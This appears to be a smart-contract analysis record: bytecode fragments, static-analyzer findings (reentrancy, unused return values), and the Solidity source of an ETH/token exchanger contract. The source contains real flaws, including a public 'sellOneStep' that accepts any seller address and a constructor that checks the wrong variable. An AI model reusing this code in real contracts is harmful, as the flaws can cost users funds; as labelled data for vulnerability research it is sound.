819350935050505b9091565b60008083118290612210576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122079190612607565b60405180910390fd5b506000838561221f91906130c2565b9050809150509392505050565b60008060008060008060008060006122498a600954600a546123d5565b9250925092506000612259611f2a565b9050600080600061226c8e87878761246b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab5565b905092915050565b60006122e8611f2a565b905060006122ff82846124f490919063ffffffff16565b905061235381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123b08260075461229490919063ffffffff16565b6007819055506123cb81600854611e6c90919063ffffffff16565b6008819055505050565b60008060008061240160646123f3888a6124f490919063ffffffff16565b611f5590919063ffffffff16565b9050600061242b606461241d888b6124f490919063ffffffff16565b611f5590919063ffffffff16565b9050600061245482612446858c61229490919063ffffffff16565b61229490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061248485896124f490919063ffffffff16565b9050600061249b86896124f490919063ffffffff16565b905060006124b287896124f490919063ffffffff16565b905060006124db826124cd858761229490919063ffffffff16565b61229490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083036125065760009050612568565b600082846125149190613393565b905082848261252391906130c2565b14612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a9061345f565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125a857808201518184015260208101905061258d565b838111156125b7576000848401525b50505050565b6000601f19601f8301169050919050565b60006125d98261256e565b6125e38185612579565b93506125f381856020860161258a565b6125fc816125bd565b840191505092915050565b6000602082019050818103600083015261262181846125ce565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126688261263d565b9050919050565b6126788161265d565b811461268357600080fd5b50565b6000813590506126958161266f565b92915050565b6000819050919050565b6126ae8161269b565b81146126b957600080fd5b50565b6000813590506126cb816126a5565b92915050565b600080604083850312156126e8576126e7612633565b5b60006126f685828601612686565b9250506020612707858286016126bc565b9150509250929050565b60008115159050919050565b61272681612711565b82525050565b6000602082019050612741600083018461271d565b92915050565b6127508161269b565b82525050565b600060208201905061276b6000830184612747565b92915050565b60006020828403121561278757612786612633565b5b6000612795848285016126bc565b91505092915050565b6000806000606084860312156127b7576127b6612633565b5b60006127c586828701612686565b93505060206127d686828701612686565b92505060406127e7868287016126bc565b9150509250925092565b60006020828403121561280757612806612633565b5b600061281584828501612686565b91505092915050565b600060ff82169050919050565b6128348161281e565b82525050565b600060208201905061284f600083018461282b565b92915050565b61285e81612711565b811461286957600080fd5b50565b60008135905061287b81612855565b92915050565b60006020828403121561289757612896612633565b5b60006128a58482850161286c565b91505092915050565b6128b78161265d565b82525050565b60006020820190506128d260008301846128ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612915826125bd565b810181811067ffffffffffffffff82111715612934576129336128dd565b5b80604052505050565b6000612947612629565b9050612953828261290c565b919050565b600067ffffffffffffffff821115612973576129726128dd565b5b602082029050602081019050919050565b600080fd5b600061299c61299784612958565b61293d565b905080838252602082019050602084028301858111156129bf576129be612984565b5b835b818110156129e857806129d48882612686565b8452602084019350506020810190506129c1565b5050509392505050565b600082601f830112612a0757612a066128d8565b5b8135612a17848260208601612989565b91505092915050565b600060208284031215612a3657612a35612633565b5b600082013567ffffffffffffffff811115612a5457612a53612638565b5b612a60848285016129f2565b91505092915050565b60008060408385031215612a8057612a7f612633565b5b6000612a8e85828601612686565b9250506020612a9f85828601612686565b9150509250929050565b60008060408385031215612ac057612abf612633565b5b6000612ace858286016126bc565b9250506020612adf858286016126bc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b1f602083612579565b9150612b2a82612ae9565b602082019050919050565b60006020820190508181036000830152612b4e81612b12565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612b8b601783612579565b9150612b9682612b55565b602082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b600081519050612bd08161266f565b92915050565b600060208284031215612bec57612beb612633565b5b6000612bfa84828501612bc1565b91505092915050565b6000604082019050612c1860008301856128ae565b612c2560208301846128ae565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c958261269b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000612d01612cfc612cf784612cd2565b612cdc565b61269b565b9050919050565b612d1181612ce6565b82525050565b600060c082019050612d2c60008301896128ae565b612d396020830188612747565b612d466040830187612d08565b612d536060830186612d08565b612d6060808301856128ae565b612d6d60a0830184612747565b979650505050505050565b600081519050612d87816126a5565b92915050565b600080600060608486031215612da657612da5612633565b5b6000612db486828701612d78565b9350506020612dc586828701612d78565b9250506040612dd686828701612d78565b9150509250925092565b6000604082019050612df560008301856128ae565b612e026020830184612747565b9392505050565b600081519050612e1881612855565b92915050565b600060208284031215612e3457612e33612633565b5b6000612e4284828501612e09565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ea7602483612579565b9150612eb282612e4b565b604082019050919050565b60006020820190508181036000830152612ed681612e9a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f39602283612579565b9150612f4482612edd565b604082019050919050565b60006020820190508181036000830152612f6881612f2c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fcb602583612579565b9150612fd682612f6f565b604082019050919050565b60006020820190508181036000830152612ffa81612fbe565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305d602383612579565b915061306882613001565b604082019050919050565b6000602082019050818103600083015261308c81613050565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130cd8261269b565b91506130d88361269b565b9250826130e8576130e7613093565b5b828204905092915050565b60006130fe8261269b565b91506131098361269b565b92508282101561311c5761311b612c5b565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613183602a83612579565b915061318e82613127565b604082019050919050565b600060208201905081810360008301526131b281613176565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131ee8161265d565b82525050565b600061320083836131e5565b60208301905092915050565b6000602082019050919050565b6000613224826131b9565b61322e81856131c4565b9350613239836131d5565b8060005b8381101561326a57815161325188826131f4565b975061325c8361320c565b92505060018101905061323d565b5085935050505092915050565b600060a08201905061328c6000830188612747565b6132996020830187612d08565b81810360408301526132ab8186613219565b90506132ba60608301856128ae565b6132c76080830184612747565b9695505050505050565b60006132dc8261269b565b91506132e78361269b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561331c5761331b612c5b565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061335d601b83612579565b915061336882613327565b602082019050919050565b6000602082019050818103600083015261338c81613350565b9050919050565b600061339e8261269b565b91506133a98361269b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133e2576133e1612c5b565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613449602183612579565b9150613454826133ed565b604082019050919050565b600060208201905081810360008301526134788161343c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f916c48292e0115062937dfd329fdb20d4d914dbf2d3a121daba6b4fedc5ba2364736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,379 |
0x1507bfb096052f62eb5ae9a53f0c9ac385809add
|
pragma solidity ^0.4.24;
interface IExchangeFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) external view returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) external view returns (uint256);
}
interface ITradeableAsset {
function totalSupply() external view returns (uint256);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function decimals() external view returns (uint256);
function transfer(address _to, uint256 _value) external;
function balanceOf(address _address) external view returns (uint256);
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
/* A basic permissions hierarchy (Owner -> Admin -> Everyone else). One owner may appoint and remove any number of admins
and may transfer ownership to another individual address */
contract Administered {
address public creator;
mapping (address => bool) public admins;
constructor() public {
creator = msg.sender;
admins[creator] = true;
}
//Restrict to the current owner. There may be only 1 owner at a time, but
//ownership can be transferred.
modifier onlyOwner {
require(creator == msg.sender);
_;
}
//Restrict to any admin. Not sufficient for highly sensitive methods
//since basic admin can be granted programatically regardless of msg.sender
modifier onlyAdmin {
require(admins[msg.sender] || creator == msg.sender);
_;
}
//Add an admin with basic privileges. Can be done by any superuser (or the owner)
function grantAdmin(address newAdmin) onlyOwner public {
_grantAdmin(newAdmin);
}
function _grantAdmin(address newAdmin) internal
{
admins[newAdmin] = true;
}
//Transfer ownership
function changeOwner(address newOwner) onlyOwner public {
creator = newOwner;
}
//Remove an admin
function revokeAdminStatus(address user) onlyOwner public {
admins[user] = false;
}
}
/* A liqudity pool that executes buy and sell orders for an ETH / Token Pair */
/* The owner deploys it and then adds tokens / ethereum in the desired ratio */
contract ExchangerV3 is Administered, tokenRecipient {
bool public enabled = false; //Owner can turn off and on
//The token which is being bought and sold
ITradeableAsset public tokenContract;
//The contract that does the calculations to determine buy and sell pricing
IExchangeFormula public formulaContract;
//The reserve pct of this exchanger, expressed in ppm
uint32 public weight;
//The fee, in ppm
uint32 public fee=5000; //0.5%
//The portion of the total supply that is not currently (e.g. not yet issued) or not ever (e.g. burned) in circulation
//The formula calculates prices based on a circulating supply which is: total supply - uncirculated supply - reserve supply (balance of exchanger)
uint256 public uncirculatedSupplyCount=0;
//Accounting for the fees
uint256 public collectedFees=0;
//If part of the ether reserve is stored offsite for security reasons this variable holds that value
uint256 public virtualReserveBalance=0;
//Prevent the eth balance to be lover than a set value
//The min Eth reserve amount
uint256 public minReserve=0; //
/**
@dev Deploys an exchanger contract for a given token / Ether pairing
@param _token An ERC20 token
@param _weight The reserve fraction of this exchanger, in ppm
@param _formulaContract The contract with the algorithms to calculate price
*/
constructor(address _token,
uint32 _weight,
address _formulaContract) {
require (_weight > 0 && weight <= 1000000);
weight = _weight;
tokenContract = ITradeableAsset(_token);
formulaContract = IExchangeFormula(_formulaContract);
}
//Events raised on completion of buy and sell orders.
//The web client can use this info to provide users with their trading history for a given token
//and also to notify when a trade has completed.
event Buy(address indexed purchaser, uint256 amountInWei, uint256 amountInToken);
event Sell(address indexed seller, uint256 amountInToken, uint256 amountInWei);
/**
@dev Deposit tokens to the reserve.
*/
function depositTokens(uint amount) onlyOwner public {
tokenContract.transferFrom(msg.sender, this, amount);
}
/**
@dev Deposit ether to the reserve
*/
function depositEther() onlyOwner public payable {
//return getQuotePrice();
}
/**
@dev Withdraw tokens from the reserve
*/
function withdrawTokens(uint amount) onlyOwner public {
tokenContract.transfer(msg.sender, amount);
}
/**
@dev Withdraw ether from the reserve
*/
function withdrawEther(uint amountInWei) onlyOwner public {
msg.sender.transfer(amountInWei); //Transfers in wei
}
/**
@dev Withdraw accumulated fees, without disturbing the core reserve
*/
function extractFees(uint amountInWei) onlyAdmin public {
require (amountInWei <= collectedFees);
msg.sender.transfer(amountInWei);
}
/**
@dev Enable trading
*/
function enable() onlyAdmin public {
enabled = true;
}
/**
@dev Disable trading
*/
function disable() onlyAdmin public {
enabled = false;
}
/**
@dev Play central banker and set the fractional reserve ratio, from 1 to 1000000 ppm.
It is highly disrecommended to do this while trading is enabled! Obviously this should
only be done in combination with a matching deposit or withdrawal of ether,
and I'll enforce it at a later point.
*/
function setReserveWeight(uint ppm) onlyAdmin public {
require (ppm>0 && ppm<=1000000);
weight = uint32(ppm);
}
function setFee(uint ppm) onlyAdmin public {
require (ppm >= 0 && ppm <= 1000000);
fee = uint32(ppm);
}
/* The number of tokens that are burned, unissued, or otherwise not in circulation */
function setUncirculatedSupplyCount(uint newValue) onlyAdmin public {
require (newValue > 0);
uncirculatedSupplyCount = uint256(newValue);
}
/**
* The virtual reserve balance set here is added on to the actual ethereum balance of this contract
* when calculating price for buy/sell. Note that if you have no real ether in the reserve, you will
* not have liquidity for sells until you have some buys first.
*/
function setVirtualReserveBalance(uint256 amountInWei) onlyAdmin public {
virtualReserveBalance = amountInWei;
}
function setMinReserve(uint256 amountInWei) onlyAdmin public {
minReserve = amountInWei;
}
//These methods return information about the exchanger, and the buy / sell rates offered on the Token / ETH pairing.
//They can be called without gas from any client.
/**
@dev Audit the reserve balances, in the base token and in ether
returns: [token balance, ether balance - ledger]
*/
function getReserveBalances() public view returns (uint256, uint256) {
return (tokenContract.balanceOf(this), address(this).balance+virtualReserveBalance);
}
/**
@dev Get the BUY price based on the order size. Returned as the number of tokens that the amountInWei will buy.
*/
function getPurchasePrice(uint256 amountInWei) public view returns(uint) {
uint256 purchaseReturn = formulaContract.calculatePurchaseReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
amountInWei
);
purchaseReturn = (purchaseReturn - ((purchaseReturn * fee) / 1000000));
if (purchaseReturn > tokenContract.balanceOf(this)){
return tokenContract.balanceOf(this);
}
return purchaseReturn;
}
/**
@dev Get the SELL price based on the order size. Returned as amount (in wei) that you'll get for your tokens.
*/
function getSalePrice(uint256 tokensToSell) public view returns(uint) {
uint256 saleReturn = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
tokensToSell
);
saleReturn = (saleReturn - ((saleReturn * fee) / 1000000));
if (saleReturn > address(this).balance) {
return address(this).balance;
}
return saleReturn;
}
//buy and sell execute live trades against the exchanger. For either method,
//you must specify your minimum return (in total tokens or ether that you expect to receive for your trade)
//this protects the trader against slippage due to other orders that make it into earlier blocks after they
//place their order.
//
//With buy, send the amount of ether you want to spend on the token - you'll get it back immediately if minPurchaseReturn
//is not met or if this Exchanger is not in a condition to service your order (usually this happens when there is not a full
//reserve of tokens to satisfy the stated weight)
//
//With sell, first approve the exchanger to spend the number of tokens you want to sell
//Then call sell with that number and your minSaleReturn. The token transfer will not happen
//if the minSaleReturn is not met.
//
//Sales always go through, as long as there is any ether in the reserve... but those dumping massive quantities of tokens
//will naturally be given the shittest rates.
/**
@dev Buy tokens with ether.
@param minPurchaseReturn The minimum number of tokens you will accept.
*/
function buy(uint minPurchaseReturn) public payable {
uint amount = formulaContract.calculatePurchaseReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
(address(this).balance + virtualReserveBalance) - msg.value,
weight,
msg.value);
amount = (amount - ((amount * fee) / 1000000));
//Now do the trade if conditions are met
require (enabled); // ADDED SEMICOLON
require (amount >= minPurchaseReturn);
require (tokenContract.balanceOf(this) >= amount);
//Accounting - so we can pull the fees out without changing the balance
collectedFees += (msg.value * fee) / 1000000;
emit Buy(msg.sender, msg.value, amount);
tokenContract.transfer(msg.sender, amount);
}
/**
@dev Sell tokens for ether
@param quantity Number of tokens to sell
@param minSaleReturn Minimum amount of ether (in wei) you will accept for your tokens
*/
function sell(uint quantity, uint minSaleReturn) public {
uint amountInWei = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply()- uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
quantity
);
amountInWei = (amountInWei - ((amountInWei * fee) / 1000000));
require (enabled); // ADDED SEMICOLON
require (amountInWei >= minSaleReturn);
require (amountInWei <= address(this).balance);
require (address(this).balance - amountInWei > minReserve);
require (tokenContract.transferFrom(msg.sender, this, quantity));
collectedFees += (amountInWei * fee) / 1000000;
emit Sell(msg.sender, quantity, amountInWei);
msg.sender.transfer(amountInWei); //Always send ether last
}
//approveAndCall flow for selling entry point
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external {
//not needed: if it was the wrong token, the tx fails anyways require(_token == address(tokenContract));
sellOneStep(_value, 0, _from);
}
//Variant of sell for one step ordering. The seller calls approveAndCall on the token
//which calls receiveApproval above, which calls this funciton
function sellOneStep(uint quantity, uint minSaleReturn, address seller) public {
uint amountInWei = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
quantity
);
amountInWei = (amountInWei - ((amountInWei * fee) / 1000000));
require (enabled); // ADDED SEMICOLON
require (amountInWei >= minSaleReturn);
require (amountInWei <= address(this).balance);
require (tokenContract.transferFrom(seller, this, quantity));
collectedFees += (amountInWei * fee) / 1000000;
emit Sell(seller, quantity, amountInWei);
seller.transfer(amountInWei); //Always send ether last
}
}
|
0x6080604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146101a6578063185d1af6146101fd5780631b4a20011461022a578063238dafe0146102555780632f2770db14610284578063315a095d1461029b57806335bb3e16146102c85780633bed33ce1461030b5780633deb91c71461033857806341ef6bb714610365578063429b62e51461039057806355a373d6146103eb5780635cc5ca501461044257806363f8a2111461049957806369fe0e2d146104f057806377d56a041461051d5780638e068b111461054f5780638f4ffcb11461057a5780639003adfe146105ff57806398ea5fca1461062a578063a1aab33f14610634578063a3907d711461066b578063a6f9dae114610682578063b9c8464d146106c5578063bd8caabf146106f2578063c59d56331461071f578063d79875eb14610760578063d96a094a14610797578063dd49756e146107b7578063ddca3f43146107e4578063eff841d11461081b578063f8eb5fc514610848578063fa62a1ff14610889575b600080fd5b3480156101b257600080fd5b506101bb6108cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020957600080fd5b50610228600480360381019080803590602001909291905050506108f1565b005b34801561023657600080fd5b5061023f6109b9565b6040518082815260200191505060405180910390f35b34801561026157600080fd5b5061026a6109bf565b604051808215151515815260200191505060405180910390f35b34801561029057600080fd5b506102996109d2565b005b3480156102a757600080fd5b506102c660048036038101908080359060200190929190505050610a9e565b005b3480156102d457600080fd5b50610309600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd9565b005b34801561031757600080fd5b5061033660048036038101908080359060200190929190505050610c40565b005b34801561034457600080fd5b5061036360048036038101908080359060200190929190505050610ce5565b005b34801561037157600080fd5b5061037a610d9e565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da4565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b50610400610dc4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044e57600080fd5b50610457610dea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a557600080fd5b506104ee6004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e10565b005b3480156104fc57600080fd5b5061051b60048036038101908080359060200190929190505050611385565b005b34801561052957600080fd5b50610532611477565b604051808381526020018281526020019250505060405180910390f35b34801561055b57600080fd5b50610564611596565b6040518082815260200191505060405180910390f35b34801561058657600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190820180359060200191909192939192939050505061159c565b005b34801561060b57600080fd5b506106146115af565b6040518082815260200191505060405180910390f35b6106326115b5565b005b34801561064057600080fd5b50610649611612565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561067757600080fd5b50610680611628565b005b34801561068e57600080fd5b506106c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116f4565b005b3480156106d157600080fd5b506106f060048036038101908080359060200190929190505050611792565b005b3480156106fe57600080fd5b5061071d6004803603810190808035906020019092919050505061189c565b005b34801561072b57600080fd5b5061074a60048036038101908080359060200190929190505050611955565b6040518082815260200191505060405180910390f35b34801561076c57600080fd5b506107956004803603810190808035906020019092919080359060200190929190505050611e69565b005b6107b560048036038101908080359060200190929190505050612406565b005b3480156107c357600080fd5b506107e2600480360381019080803590602001909291905050506129b2565b005b3480156107f057600080fd5b506107f9612b45565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561082757600080fd5b5061084660048036038101908080359060200190929190505050612b5b565b005b34801561085457600080fd5b5061087360048036038101908080359060200190929190505050612c4c565b6040518082815260200191505060405180910390f35b34801561089557600080fd5b506108ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fa0565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061099557503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15156109a057600080fd5b6000811115156109af57600080fd5b8060048190555050565b60075481565b600260009054906101000a900460ff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610a7657503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515610a8157600080fd5b6000600260006101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610af957600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610bbe57600080fd5b505af1158015610bd2573d6000803e3d6000fd5b5050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b610c3d81613056565b50565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c9b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ce1573d6000803e3d6000fd5b5050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610d8957503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515610d9457600080fd5b8060078190555050565b60045481565b60016020528060005260406000206000915054906101000a900460ff1681565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349f9b0f7600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610f0d57600080fd5b505af1158015610f21573d6000803e3d6000fd5b505050506040513d6020811015610f3757600080fd5b8101908080519060200190929190505050600454600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610fd157600080fd5b505af1158015610fe5573d6000803e3d6000fd5b505050506040513d6020811015610ffb57600080fd5b810190808051906020019092919050505003036006543073ffffffffffffffffffffffffffffffffffffffff163101600360149054906101000a900463ffffffff16886040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018481526020018363ffffffff1663ffffffff168152602001828152602001945050505050602060405180830381600087803b1580156110b157600080fd5b505af11580156110c5573d6000803e3d6000fd5b505050506040513d60208110156110db57600080fd5b81019080805190602001909291905050509050620f4240600360189054906101000a900463ffffffff1663ffffffff16820281151561111657fe5b0481039050600260009054906101000a900460ff16151561113657600080fd5b82811015151561114557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631811115151561116b57600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8330876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561126457600080fd5b505af1158015611278573d6000803e3d6000fd5b505050506040513d602081101561128e57600080fd5b810190808051906020019092919050505015156112aa57600080fd5b620f4240600360189054906101000a900463ffffffff1663ffffffff1682028115156112d257fe5b046005600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff167fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a8583604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561137e573d6000803e3d6000fd5b5050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061142957503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561143457600080fd5b600081101580156114485750620f42408111155b151561145357600080fd5b80600360186101000a81548163ffffffff021916908363ffffffff16021790555050565b600080600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561153757600080fd5b505af115801561154b573d6000803e3d6000fd5b505050506040513d602081101561156157600080fd5b81019080805190602001909291905050506006543073ffffffffffffffffffffffffffffffffffffffff163101915091509091565b60065481565b6115a884600087610e10565b5050505050565b60055481565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561161057600080fd5b565b600360149054906101000a900463ffffffff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116cc57503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15156116d757600080fd5b6001600260006101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561174f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061183657503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561184157600080fd5b600554811115151561185257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611898573d6000803e3d6000fd5b5050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061194057503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561194b57600080fd5b8060068190555050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166329a00e7c600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823